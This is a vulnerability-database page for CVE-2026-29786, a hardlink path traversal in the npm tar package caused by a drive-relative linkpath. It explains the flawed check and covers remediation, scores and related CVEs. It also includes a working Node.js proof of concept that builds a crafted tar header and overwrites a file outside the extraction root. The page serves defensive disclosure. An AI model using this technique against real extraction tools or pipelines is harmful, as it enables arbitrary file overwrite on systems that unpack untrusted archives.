CVE-2026-29786 — Vulnerability in tar — CVE Details
tar has Hardlink Path Traversal via Drive-Relative Linkpath
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.46%). Schedule for your next planned update.
Does your project use an affected tar version?
Paste your package-lock.json to check it for CVE-2026-29786 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.
What happens with linkpath: "C:../target.txt":
- Split on
/gives['C:..', 'target.txt'], soparts.includes('..')is false. stripAbsolutePath()removesC:and rewrites the value to../target.txt.- Hardlink creation resolves this against extraction
cwdand escapes one directory up. - Writing through the extracted hardlink overwrites the outside file.
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.9.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
cd test-workspace
node poc.cjs && ls -l ../target.txt
Observed output:
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar 4 19:25 ../target.txt
PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
Advisory Timeline
- First published March 5, 2026 (266 days ago).
- Last revised September 10, 2026 — 189 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install tar@7.5.10
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| tar npm · Affected: All versions | 7.5.10 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
- CWE-59
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.1 score means for each attack dimension.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L
References
Frequently Asked Questions
- What is CVE-2026-29786?
- tar has Hardlink Path Traversal via Drive-Relative Linkpath. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.1/10).
- How do I check if my project is affected by CVE-2026-29786?
- CVE-2026-29786 affects tar. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-29786 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 31.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2021-37712HIGH
Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links
- CVE-2026-73566HIGH
node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection
- CVE-2021-32803HIGH
Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning
- CVE-2026-23950HIGH
Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS
- CVE-2024-28863MEDIUM
Denial of service while parsing a tar file due to lack of folders count validation
- CVE-2026-59875MEDIUM
node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records
- CVE-2026-53655MEDIUM
node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)
- CVE-2026-59871MEDIUM
node-tar: Process crash via PAX numeric path type confusion